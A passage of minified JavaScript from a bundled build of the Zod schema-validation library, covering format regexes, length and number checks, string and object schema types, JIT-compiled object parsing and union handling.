t.issues)u.path.length>0?(i[u.path[0]]=i[u.path[0]]||[],i[u.path[0]].push(r(u))):s.push(r(u));return{formErrors:s,fieldErrors:i}}function Q7(t,r=i=>i.message){const i={_errors:[]},s=(u,p=[])=>{for(const d of u.issues)if(d.code==="invalid_union"&&d.errors.length)d.errors.map(m=>s({issues:m},[...p,...d.path]));else if(d.code==="invalid_key")s({issues:d.issues},[...p,...d.path]);else if(d.code==="invalid_element")s({issues:d.issues},[...p,...d.path]);else{const m=[...p,...d.path];if(m.length===0)i._errors.push(r(d));else{let g=i,y=0;for(;y<m.length;){const E=m[y];y===m.length-1?(g[E]=g[E]||{_errors:[]},g[E]._errors.push(r(d))):g[E]=g[E]||{_errors:[]},g=g[E],y++}}}};return s(t),i}const vu=t=>(r,i,s,u)=>{const p=s?{...s,async:!1}:{async:!1},d=r._zod.run({value:i,issues:[]},p);if(d instanceof Promise)throw new Hr;if(d.issues.length){const m=new(u?.Err??t)(d.issues.map(g=>hn(g,p,vn())));throw ym(m,u?.callee),m}return d.value},hu=t=>async(r,i,s,u)=>{const p=s?{...s,async:!0}:{async:!0};let d=r._zod.run({value:i,issues:[]},p);if(d instanceof Promise&&(d=await d),d.issues.length){const m=new(u?.Err??t)(d.issues.map(g=>hn(g,p,vn())));throw ym(m,u?.callee),m}return d.value},Aa=t=>(r,i,s)=>{const u=s?{...s,async:!1}:{async:!1},p=r._zod.run({value:i,issues:[]},u);if(p instanceof Promise)throw new Hr;return p.issues.length?{success:!1,error:new(t??xm)(p.issues.map(d=>hn(d,u,vn())))}:{success:!0,data:p.value}},Y7=Aa(Em),Oa=t=>async(r,i,s)=>{const u=s?{...s,async:!0}:{async:!0};let p=r._zod.run({value:i,issues:[]},u);return p instanceof Promise&&(p=await p),p.issues.length?{success:!1,error:new t(p.issues.map(d=>hn(d,u,vn())))}:{success:!0,data:p.value}},X7=Oa(Em),e2=t=>(r,i,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return vu(t)(r,i,u)},t2=t=>(r,i,s)=>vu(t)(r,i,s),n2=t=>async(r,i,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return hu(t)(r,i,u)},r2=t=>async(r,i,s)=>hu(t)(r,i,s),o2=t=>(r,i,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return Aa(t)(r,i,u)},i2=t=>(r,i,s)=>Aa(t)(r,i,s),a2=t=>async(r,i,s)=>{const u=s?{...s,direction:"backward"}:{direction:"backward"};return Oa(t)(r,i,u)},s2=t=>async(r,i,s)=>Oa(t)(r,i,s),l2=/^[cC][0-9a-z]{6,}$/,u2=/^[0-9a-z]+$/,c2=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,d2=/^[0-9a-vA-V]{20}$/,p2=/^[A-Za-z0-9]{27}$/,f2=/^[a-zA-Z0-9_-]{21}$/,m2=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,v2=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,vf=t=>t?new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${t}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/,h2=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,g2="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function y2(){return new RegExp(g2,"u")}const _2=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,w2=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/,x2=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,E2=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,I2=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,Im=/^[A-Za-z0-9_-]*$/,S2=/^https?$/,k2=/^\+[1-9]\d{6,14}$/,Sm="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",b2=new RegExp(`^${Sm}$`);function km(t){const r="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof t.precision=="number"?t.precision===-1?`${r}`:t.precision===0?`${r}:[0-5]\\d`:`${r}:[0-5]\\d\\.\\d{${t.precision}}`:`${r}(?::[0-5]\\d(?:\\.\\d+)?)?`}function z2(t){return new RegExp(`^${km(t)}$`)}function C2(t){const r=km({precision:t.precision}),i=["Z"];t.local&&i.push(""),t.offset&&i.push("([+-](?:[01]\\d|2[0-3]):[0-5]\\d)");const s=`${r}(?:${i.join("|")})`;return new RegExp(`^${Sm}T(?:${s})$`)}const T2=t=>{const r=t?`[\\s\\S]{${t?.minimum??0},${t?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${r}$`)},B2=/^-?\d+n?$/,R2=/^-?\d+$/,bm=/^-?\d+(?:\.\d+)?$/,P2=/^(?:true|false)$/i,N2=/^[^A-Z]*$/,A2=/^[^a-z]*$/,St=j("$ZodCheck",(t,r)=>{var i;t._zod??(t._zod={}),t._zod.def=r,(i=t._zod).onattach??(i.onattach=[])}),zm={number:"number",bigint:"bigint",object:"date"},Cm=j("$ZodCheckLessThan",(t,r)=>{St.init(t,r);const i=zm[typeof r.value];t._zod.onattach.push(s=>{const u=s._zod.bag,p=(r.inclusive?u.maximum:u.exclusiveMaximum)??Number.POSITIVE_INFINITY;r.value<p&&(r.inclusive?u.maximum=r.value:u.exclusiveMaximum=r.value)}),t._zod.check=s=>{(r.inclusive?s.value<=r.value:s.value<r.value)||s.issues.push({origin:i,code:"too_big",maximum:typeof r.value=="object"?r.value.getTime():r.value,input:s.value,inclusive:r.inclusive,inst:t,continue:!r.abort})}}),Tm=j("$ZodCheckGreaterThan",(t,r)=>{St.init(t,r);const i=zm[typeof r.value];t._zod.onattach.push(s=>{const u=s._zod.bag,p=(r.inclusive?u.minimum:u.exclusiveMinimum)??Number.NEGATIVE_INFINITY;r.value>p&&(r.inclusive?u.minimum=r.value:u.exclusiveMinimum=r.value)}),t._zod.check=s=>{(r.inclusive?s.value>=r.value:s.value>r.value)||s.issues.push({origin:i,code:"too_small",minimum:typeof r.value=="object"?r.value.getTime():r.value,input:s.value,inclusive:r.inclusive,inst:t,continue:!r.abort})}}),O2=j("$ZodCheckMultipleOf",(t,r)=>{St.init(t,r),t._zod.onattach.push(i=>{var s;(s=i._zod.bag).multipleOf??(s.multipleOf=r.value)}),t._zod.check=i=>{if(typeof i.value!=typeof r.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof i.value=="bigint"?i.value%r.value===BigInt(0):j7(i.value,r.value)===0)||i.issues.push({origin:typeof i.value,code:"not_multiple_of",divisor:r.value,input:i.value,inst:t,continue:!r.abort})}}),j2=j("$ZodCheckNumberFormat",(t,r)=>{St.init(t,r),r.format=r.format||"float64";const i=r.format?.includes("int"),s=i?"int":"number",[u,p]=F7[r.format];t._zod.onattach.push(d=>{const m=d._zod.bag;m.format=r.format,m.minimum=u,m.maximum=p,i&&(m.pattern=R2)}),t._zod.check=d=>{const m=d.value;if(i){if(!Number.isInteger(m)){d.issues.push({expected:s,format:r.format,code:"invalid_type",continue:!1,input:m,inst:t});return}if(!Number.isSafeInteger(m)){m>0?d.issues.push({input:m,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:s,inclusive:!0,continue:!r.abort}):d.issues.push({input:m,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:s,inclusive:!0,continue:!r.abort});return}}m<u&&d.issues.push({origin:"number",input:m,code:"too_small",minimum:u,inclusive:!0,inst:t,continue:!r.abort}),m>p&&d.issues.push({origin:"number",input:m,code:"too_big",maximum:p,inclusive:!0,inst:t,continue:!r.abort})}}),$2=j("$ZodCheckMaxLength",(t,r)=>{var i;St.init(t,r),(i=t._zod.def).when??(i.when=s=>{const u=s.value;return!pu(u)&&u.length!==void 0}),t._zod.onattach.push(s=>{const u=s._zod.bag.maximum??Number.POSITIVE_INFINITY;r.maximum<u&&(s._zod.bag.maximum=r.maximum)}),t._zod.check=s=>{const u=s.value;if(u.length<=r.maximum)return;const d=mu(u);s.issues.push({origin:d,code:"too_big",maximum:r.maximum,inclusive:!0,input:u,inst:t,continue:!r.abort})}}),L2=j("$ZodCheckMinLength",(t,r)=>{var i;St.init(t,r),(i=t._zod.def).when??(i.when=s=>{const u=s.value;return!pu(u)&&u.length!==void 0}),t._zod.onattach.push(s=>{const u=s._zod.bag.minimum??Number.NEGATIVE_INFINITY;r.minimum>u&&(s._zod.bag.minimum=r.minimum)}),t._zod.check=s=>{const u=s.value;if(u.length>=r.minimum)return;const d=mu(u);s.issues.push({origin:d,code:"too_small",minimum:r.minimum,inclusive:!0,input:u,inst:t,continue:!r.abort})}}),D2=j("$ZodCheckLengthEquals",(t,r)=>{var i;St.init(t,r),(i=t._zod.def).when??(i.when=s=>{const u=s.value;return!pu(u)&&u.length!==void 0}),t._zod.onattach.push(s=>{const u=s._zod.bag;u.minimum=r.length,u.maximum=r.length,u.length=r.length}),t._zod.check=s=>{const u=s.value,p=u.length;if(p===r.length)return;const d=mu(u),m=p>r.length;s.issues.push({origin:d,...m?{code:"too_big",maximum:r.length}:{code:"too_small",minimum:r.length},inclusive:!0,exact:!0,input:s.value,inst:t,continue:!r.abort})}}),ja=j("$ZodCheckStringFormat",(t,r)=>{var i,s;St.init(t,r),t._zod.onattach.push(u=>{const p=u._zod.bag;p.format=r.format,r.pattern&&(p.patterns??(p.patterns=new Set),p.patterns.add(r.pattern))}),r.pattern?(i=t._zod).check??(i.check=u=>{r.pattern.lastIndex=0,!r.pattern.test(u.value)&&u.issues.push({origin:"string",code:"invalid_format",format:r.format,input:u.value,...r.pattern?{pattern:r.pattern.toString()}:{},inst:t,continue:!r.abort})}):(s=t._zod).check??(s.check=()=>{})}),M2=j("$ZodCheckRegex",(t,r)=>{ja.init(t,r),t._zod.check=i=>{r.pattern.lastIndex=0,!r.pattern.test(i.value)&&i.issues.push({origin:"string",code:"invalid_format",format:"regex",input:i.value,pattern:r.pattern.toString(),inst:t,continue:!r.abort})}}),F2=j("$ZodCheckLowerCase",(t,r)=>{r.pattern??(r.pattern=N2),ja.init(t,r)}),U2=j("$ZodCheckUpperCase",(t,r)=>{r.pattern??(r.pattern=A2),ja.init(t,r)}),Z2=j("$ZodCheckIncludes",(t,r)=>{St.init(t,r);const i=eo(r.includes),s=new RegExp(typeof r.position=="number"?`^.{${r.position}}${i}`:i);r.pattern=s,t._zod.onattach.push(u=>{const p=u._zod.bag;p.patterns??(p.patterns=new Set),p.patterns.add(s)}),t._zod.check=u=>{u.value.includes(r.includes,r.position)||u.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:r.includes,input:u.value,inst:t,continue:!r.abort})}}),q2=j("$ZodCheckStartsWith",(t,r)=>{St.init(t,r);const i=new RegExp(`^${eo(r.prefix)}.*`);r.pattern??(r.pattern=i),t._zod.onattach.push(s=>{const u=s._zod.bag;u.patterns??(u.patterns=new Set),u.patterns.add(i)}),t._zod.check=s=>{s.value.startsWith(r.prefix)||s.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:r.prefix,input:s.value,inst:t,continue:!r.abort})}}),V2=j("$ZodCheckEndsWith",(t,r)=>{St.init(t,r);const i=new RegExp(`.*${eo(r.suffix)}$`);r.pattern??(r.pattern=i),t._zod.onattach.push(s=>{const u=s._zod.bag;u.patterns??(u.patterns=new Set),u.patterns.add(i)}),t._zod.check=s=>{s.value.endsWith(r.suffix)||s.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:r.suffix,input:s.value,inst:t,continue:!r.abort})}}),W2=j("$ZodCheckOverwrite",(t,r)=>{St.init(t,r),t._zod.check=i=>{i.value=r.tx(i.value)}});class H2{constructor(r=[]){this.content=[],this.indent=0,this&&(this.args=r)}indented(r){this.indent+=1,r(this),this.indent-=1}write(r){if(typeof r=="function"){r(this,{execution:"sync"}),r(this,{execution:"async"});return}const s=r.split(`
+`).filter(d=>d),u=Math.min(...s.map(d=>d.length-d.trimStart().length)),p=s.map(d=>d.slice(u)).map(d=>" ".repeat(this.indent*2)+d);for(const d of p)this.content.push(d)}compile(){const r=Function,i=this?.args,u=[...(this?.content??[""]).map(p=>`  ${p}`)];return new r(...i,u.join(`
+`))}}const G2={major:4,minor:4,patch:3},je=j("$ZodType",(t,r)=>{var i;t??(t={}),t._zod.def=r,t._zod.bag=t._zod.bag||{},t._zod.version=G2;const s=[...t._zod.def.checks??[]];t._zod.traits.has("$ZodCheck")&&s.unshift(t);for(const u of s)for(const p of u._zod.onattach)p(t);if(s.length===0)(i=t._zod).deferred??(i.deferred=[]),t._zod.deferred?.push(()=>{t._zod.run=t._zod.parse});else{const u=(d,m,g)=>{let y=qr(d),E;for(const S of m){if(S._zod.def.when){if(J7(d)||!S._zod.def.when(d))continue}else if(y)continue;const T=d.issues.length,A=S._zod.check(d);if(A instanceof Promise&&g?.async===!1)throw new Hr;if(E||A instanceof Promise)E=(E??Promise.resolve()).then(async()=>{await A,d.issues.length!==T&&(y||(y=qr(d,T)))});else{if(d.issues.length===T)continue;y||(y=qr(d,T))}}return E?E.then(()=>d):d},p=(d,m,g)=>{if(qr(d))return d.aborted=!0,d;const y=u(m,s,g);if(y instanceof Promise){if(g.async===!1)throw new Hr;return y.then(E=>t._zod.parse(E,g))}return t._zod.parse(y,g)};t._zod.run=(d,m)=>{if(m.skipChecks)return t._zod.parse(d,m);if(m.direction==="backward"){const y=t._zod.parse({value:d.value,issues:[]},{...m,skipChecks:!0});return y instanceof Promise?y.then(E=>p(E,d,m)):p(y,d,m)}const g=t._zod.parse(d,m);if(g instanceof Promise){if(m.async===!1)throw new Hr;return g.then(y=>u(y,s,m))}return u(g,s,m)}}ze(t,"~standard",()=>({validate:u=>{try{const p=Y7(t,u);return p.success?{value:p.data}:{issues:p.error?.issues}}catch{return X7(t,u).then(d=>d.success?{value:d.data}:{issues:d.error?.issues})}},vendor:"zod",version:1}))}),gu=j("$ZodString",(t,r)=>{je.init(t,r),t._zod.pattern=[...t?._zod.bag?.patterns??[]].pop()??T2(t._zod.bag),t._zod.parse=(i,s)=>{if(r.coerce)try{i.value=String(i.value)}catch{}return typeof i.value=="string"||i.issues.push({expected:"string",code:"invalid_type",input:i.value,inst:t}),i}}),$e=j("$ZodStringFormat",(t,r)=>{ja.init(t,r),gu.init(t,r)}),J2=j("$ZodGUID",(t,r)=>{r.pattern??(r.pattern=v2),$e.init(t,r)}),K2=j("$ZodUUID",(t,r)=>{if(r.version){const s={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[r.version];if(s===void 0)throw new Error(`Invalid UUID version: "${r.version}"`);r.pattern??(r.pattern=vf(s))}else r.pattern??(r.pattern=vf());$e.init(t,r)}),Q2=j("$ZodEmail",(t,r)=>{r.pattern??(r.pattern=h2),$e.init(t,r)}),Y2=j("$ZodURL",(t,r)=>{$e.init(t,r),t._zod.check=i=>{try{const s=i.value.trim();if(!r.normalize&&r.protocol?.source===S2.source&&!/^https?:\/\//i.test(s)){i.issues.push({code:"invalid_format",format:"url",note:"Invalid URL format",input:i.value,inst:t,continue:!r.abort});return}const u=new URL(s);r.hostname&&(r.hostname.lastIndex=0,r.hostname.test(u.hostname)||i.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:r.hostname.source,input:i.value,inst:t,continue:!r.abort})),r.protocol&&(r.protocol.lastIndex=0,r.protocol.test(u.protocol.endsWith(":")?u.protocol.slice(0,-1):u.protocol)||i.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:r.protocol.source,input:i.value,inst:t,continue:!r.abort})),r.normalize?i.value=u.href:i.value=s;return}catch{i.issues.push({code:"invalid_format",format:"url",input:i.value,inst:t,continue:!r.abort})}}}),X2=j("$ZodEmoji",(t,r)=>{r.pattern??(r.pattern=y2()),$e.init(t,r)}),e3=j("$ZodNanoID",(t,r)=>{r.pattern??(r.pattern=f2),$e.init(t,r)}),t3=j("$ZodCUID",(t,r)=>{r.pattern??(r.pattern=l2),$e.init(t,r)}),n3=j("$ZodCUID2",(t,r)=>{r.pattern??(r.pattern=u2),$e.init(t,r)}),r3=j("$ZodULID",(t,r)=>{r.pattern??(r.pattern=c2),$e.init(t,r)}),o3=j("$ZodXID",(t,r)=>{r.pattern??(r.pattern=d2),$e.init(t,r)}),i3=j("$ZodKSUID",(t,r)=>{r.pattern??(r.pattern=p2),$e.init(t,r)}),a3=j("$ZodISODateTime",(t,r)=>{r.pattern??(r.pattern=C2(r)),$e.init(t,r)}),s3=j("$ZodISODate",(t,r)=>{r.pattern??(r.pattern=b2),$e.init(t,r)}),l3=j("$ZodISOTime",(t,r)=>{r.pattern??(r.pattern=z2(r)),$e.init(t,r)}),u3=j("$ZodISODuration",(t,r)=>{r.pattern??(r.pattern=m2),$e.init(t,r)}),c3=j("$ZodIPv4",(t,r)=>{r.pattern??(r.pattern=_2),$e.init(t,r),t._zod.bag.format="ipv4"}),d3=j("$ZodIPv6",(t,r)=>{r.pattern??(r.pattern=w2),$e.init(t,r),t._zod.bag.format="ipv6",t._zod.check=i=>{try{new URL(`http://[${i.value}]`)}catch{i.issues.push({code:"invalid_format",format:"ipv6",input:i.value,inst:t,continue:!r.abort})}}}),p3=j("$ZodCIDRv4",(t,r)=>{r.pattern??(r.pattern=x2),$e.init(t,r)}),f3=j("$ZodCIDRv6",(t,r)=>{r.pattern??(r.pattern=E2),$e.init(t,r),t._zod.check=i=>{const s=i.value.split("/");try{if(s.length!==2)throw new Error;const[u,p]=s;if(!p)throw new Error;const d=Number(p);if(`${d}`!==p)throw new Error;if(d<0||d>128)throw new Error;new URL(`http://[${u}]`)}catch{i.issues.push({code:"invalid_format",format:"cidrv6",input:i.value,inst:t,continue:!r.abort})}}});function Bm(t){if(t==="")return!0;if(/\s/.test(t)||t.length%4!==0)return!1;try{return atob(t),!0}catch{return!1}}const m3=j("$ZodBase64",(t,r)=>{r.pattern??(r.pattern=I2),$e.init(t,r),t._zod.bag.contentEncoding="base64",t._zod.check=i=>{Bm(i.value)||i.issues.push({code:"invalid_format",format:"base64",input:i.value,inst:t,continue:!r.abort})}});function v3(t){if(!Im.test(t))return!1;const r=t.replace(/[-_]/g,s=>s==="-"?"+":"/"),i=r.padEnd(Math.ceil(r.length/4)*4,"=");return Bm(i)}const h3=j("$ZodBase64URL",(t,r)=>{r.pattern??(r.pattern=Im),$e.init(t,r),t._zod.bag.contentEncoding="base64url",t._zod.check=i=>{v3(i.value)||i.issues.push({code:"invalid_format",format:"base64url",input:i.value,inst:t,continue:!r.abort})}}),g3=j("$ZodE164",(t,r)=>{r.pattern??(r.pattern=k2),$e.init(t,r)});function y3(t,r=null){try{const i=t.split(".");if(i.length!==3)return!1;const[s]=i;if(!s)return!1;const u=JSON.parse(atob(s));return!("typ"in u&&u?.typ!=="JWT"||!u.alg||r&&(!("alg"in u)||u.alg!==r))}catch{return!1}}const _3=j("$ZodJWT",(t,r)=>{$e.init(t,r),t._zod.check=i=>{y3(i.value,r.alg)||i.issues.push({code:"invalid_format",format:"jwt",input:i.value,inst:t,continue:!r.abort})}}),Rm=j("$ZodNumber",(t,r)=>{je.init(t,r),t._zod.pattern=t._zod.bag.pattern??bm,t._zod.parse=(i,s)=>{if(r.coerce)try{i.value=Number(i.value)}catch{}const u=i.value;if(typeof u=="number"&&!Number.isNaN(u)&&Number.isFinite(u))return i;const p=typeof u=="number"?Number.isNaN(u)?"NaN":Number.isFinite(u)?void 0:"Infinity":void 0;return i.issues.push({expected:"number",code:"invalid_type",input:u,inst:t,...p?{received:p}:{}}),i}}),w3=j("$ZodNumberFormat",(t,r)=>{j2.init(t,r),Rm.init(t,r)}),x3=j("$ZodBoolean",(t,r)=>{je.init(t,r),t._zod.pattern=P2,t._zod.parse=(i,s)=>{if(r.coerce)try{i.value=!!i.value}catch{}const u=i.value;return typeof u=="boolean"||i.issues.push({expected:"boolean",code:"invalid_type",input:u,inst:t}),i}}),E3=j("$ZodBigInt",(t,r)=>{je.init(t,r),t._zod.pattern=B2,t._zod.parse=(i,s)=>{if(r.coerce)try{i.value=BigInt(i.value)}catch{}return typeof i.value=="bigint"||i.issues.push({expected:"bigint",code:"invalid_type",input:i.value,inst:t}),i}}),I3=j("$ZodUnknown",(t,r)=>{je.init(t,r),t._zod.parse=i=>i}),S3=j("$ZodNever",(t,r)=>{je.init(t,r),t._zod.parse=(i,s)=>(i.issues.push({expected:"never",code:"invalid_type",input:i.value,inst:t}),i)});function hf(t,r,i){t.issues.length&&r.issues.push(...Vr(i,t.issues)),r.value[i]=t.value}const k3=j("$ZodArray",(t,r)=>{je.init(t,r),t._zod.parse=(i,s)=>{const u=i.value;if(!Array.isArray(u))return i.issues.push({expected:"array",code:"invalid_type",input:u,inst:t}),i;i.value=Array(u.length);const p=[];for(let d=0;d<u.length;d++){const m=u[d],g=r.element._zod.run({value:m,issues:[]},s);g instanceof Promise?p.push(g.then(y=>hf(y,i,d))):hf(g,i,d)}return p.length?Promise.all(p).then(()=>i):i}});function Ea(t,r,i,s,u,p){const d=i in s;if(t.issues.length){if(u&&p&&!d)return;r.issues.push(...Vr(i,t.issues))}if(!d&&!u){t.issues.length||r.issues.push({code:"invalid_type",expected:"nonoptional",input:void 0,path:[i]});return}t.value===void 0?d&&(r.value[i]=void 0):r.value[i]=t.value}function Pm(t){const r=Object.keys(t.shape);for(const s of r)if(!t.shape?.[s]?._zod?.traits?.has("$ZodType"))throw new Error(`Invalid element at key "${s}": expected a Zod schema`);const i=M7(t.shape);return{...t,keys:r,keySet:new Set(r),numKeys:r.length,optionalKeys:new Set(i)}}function Nm(t,r,i,s,u,p){const d=[],m=u.keySet,g=u.catchall._zod,y=g.def.type,E=g.optin==="optional",S=g.optout==="optional";for(const T in r){if(T==="__proto__"||m.has(T))continue;if(y==="never"){d.push(T);continue}const A=g.run({value:r[T],issues:[]},s);A instanceof Promise?t.push(A.then(D=>Ea(D,i,T,r,E,S))):Ea(A,i,T,r,E,S)}return d.length&&i.issues.push({code:"unrecognized_keys",keys:d,input:r,inst:p}),t.length?Promise.all(t).then(()=>i):i}const b3=j("$ZodObject",(t,r)=>{if(je.init(t,r),!Object.getOwnPropertyDescriptor(r,"shape")?.get){const m=r.shape;Object.defineProperty(r,"shape",{get:()=>{const g={...m};return Object.defineProperty(r,"shape",{value:g}),g}})}const s=Na(()=>Pm(r));ze(t._zod,"propValues",()=>{const m=r.shape,g={};for(const y in m){const E=m[y]._zod;if(E.values){g[y]??(g[y]=new Set);for(const S of E.values)g[y].add(S)}}return g});const u=Qo,p=r.catchall;let d;t._zod.parse=(m,g)=>{d??(d=s.value);const y=m.value;if(!u(y))return m.issues.push({expected:"object",code:"invalid_type",input:y,inst:t}),m;m.value={};const E=[],S=d.shape;for(const T of d.keys){const A=S[T],D=A._zod.optin==="optional",W=A._zod.optout==="optional",O=A._zod.run({value:y[T],issues:[]},g);O instanceof Promise?E.push(O.then(H=>Ea(H,m,T,y,D,W))):Ea(O,m,T,y,D,W)}return p?Nm(E,y,m,g,s.value,t):E.length?Promise.all(E).then(()=>m):m}}),z3=j("$ZodObjectJIT",(t,r)=>{b3.init(t,r);const i=t._zod.parse,s=Na(()=>Pm(r)),u=T=>{const A=new H2(["shape","payload","ctx"]),D=s.value,W=Q=>{const G=mf(Q);return`shape[${G}]._zod.run({ value: input[${G}], issues: [] }, ctx)`};A.write("const input = payload.value;");const O=Object.create(null);let H=0;for(const Q of D.keys)O[Q]=`key_${H++}`;A.write("const newResult = {};");for(const Q of D.keys){const G=O[Q],ee=mf(Q),ue=T[Q],de=ue?._zod?.optin==="optional",pe=ue?._zod?.optout==="optional";A.write(`const ${G} = ${W(Q)};`),de&&pe?A.write(`
+        if (${G}.issues.length) {
+          if (${ee} in input) {
+            payload.issues = payload.issues.concat(${G}.issues.map(iss => ({
+              ...iss,
+              path: iss.path ? [${ee}, ...iss.path] : [${ee}]
+            })));
+          }
+        }
+        
+        if (${G}.value === undefined) {
+          if (${ee} in input) {
+            newResult[${ee}] = undefined;
+          }
+        } else {
+          newResult[${ee}] = ${G}.value;
+        }
+        
+      `):de?A.write(`
+        if (${G}.issues.length) {
+          payload.issues = payload.issues.concat(${G}.issues.map(iss => ({
+            ...iss,
+            path: iss.path ? [${ee}, ...iss.path] : [${ee}]
+          })));
+        }
+        
+        if (${G}.value === undefined) {
+          if (${ee} in input) {
+            newResult[${ee}] = undefined;
+          }
+        } else {
+          newResult[${ee}] = ${G}.value;
+        }
+        
+      `):A.write(`
+        const ${G}_present = ${ee} in input;
+        if (${G}.issues.length) {
+          payload.issues = payload.issues.concat(${G}.issues.map(iss => ({
+            ...iss,
+            path: iss.path ? [${ee}, ...iss.path] : [${ee}]
+          })));
+        }
+        if (!${G}_present && !${G}.issues.length) {
+          payload.issues.push({
+            code: "invalid_type",
+            expected: "nonoptional",
+            input: undefined,
+            path: [${ee}]
+          });
+        }
+
+        if (${G}_present) {
+          if (${G}.value === undefined) {
+            newResult[${ee}] = undefined;
+          } else {
+            newResult[${ee}] = ${G}.value;
+          }
+        }
+
+      `)}A.write("payload.value = newResult;"),A.write("return payload;");const oe=A.compile();return(Q,G)=>oe(T,Q,G)};let p;const d=Qo,m=!du.jitless,y=m&&L7.value,E=r.catchall;let S;t._zod.parse=(T,A)=>{S??(S=s.value);const D=T.value;return d(D)?m&&y&&A?.async===!1&&A.jitless!==!0?(p||(p=u(r.shape)),T=p(T,A),E?Nm([],D,T,A,S,t):T):i(T,A):(T.issues.push({expected:"object",code:"invalid_type",input:D,inst:t}),T)}});function gf(t,r,i,s){for(const p of t)if(p.issues.length===0)return r.value=p.value,r;const u=t.filter(p=>!qr(p));return u.length===1?(r.value=u[0].value,u[0]):(r.issues.push({code:"invalid_union",input:r.value,inst:i,errors:t.map(p=>p.issues.map(d=>hn(d,s,vn())))}),r)}const Am=j("$ZodUnion",(t,r)=>{je.init(t,r),ze(t._zod,"optin",()=>r.options.some(s=>s._zod.optin==="optional")?"optional":void 0),ze(t._zod,"optout",()=>r.options.some(s=>s._zod.optout==="optional")?"optional":void 0),ze(t._zod,"values",()=>{if(r.options.every(s=>s._zod.values))return new Set(r.options.flatMap(s=>Array.from(s._zod.values)))}),ze(t._zod,"pattern",()=>{if(r.options.every(s=>s._zod.pattern)){const s=r.options.map(u=>u._zod.pattern);return new RegExp(`^(${s.map(u=>fu(u.source)).join("|")})$`)}});const i=r.options.length===1?r.options[0]._zod.run:null;t._zod.parse=(s,u)=>{if(i)return i(s,u);let p=!1;const d=[];for(const m of r.options){const g=m._zod.run({value:s.value,issues:[]},u);if(g instanceof Promise)d.push(g),p=!0;else{if(g.issues.length===0)return g;d.push(g)}}return p?Promise.all(d).then(m=>gf(m,s,t,u)):gf(d,s,t,u)}}),C3=j("$ZodDiscriminatedUnion",(t,r)=>{r.inclusive=!1,Am.init(t,r);const i=t._zod.parse;ze(t._zod,"propValues",()=>{const u={};for(const p of r.options){const d=p._zod.propValues;if(!d||Object.keys(d).length===0)throw new Error(`Invalid discriminated union option at index "${r.options.indexOf(p)}"`);for(const[m,g]of Object.entries(d)){u[m]||(u[m]=new Set);for(const y of g)u[m].add(y)}}return u});const s=Na(()=>{const u=r.options,p=new Map;for(const d of u){const m=d._zod.propValues?.[r.discriminator];if(!m||m.size===0)throw new Error(`Invalid discriminated union option at index "${r.options.indexOf(d)}"`);for(const g of m){if(p.has(g))throw new Error(`Duplicate discriminator value "${String(g)}"`);p.set(g,d)}}return p});t._zod.parse=(u,p)=>{const d=u.value;if(!Qo(d))return 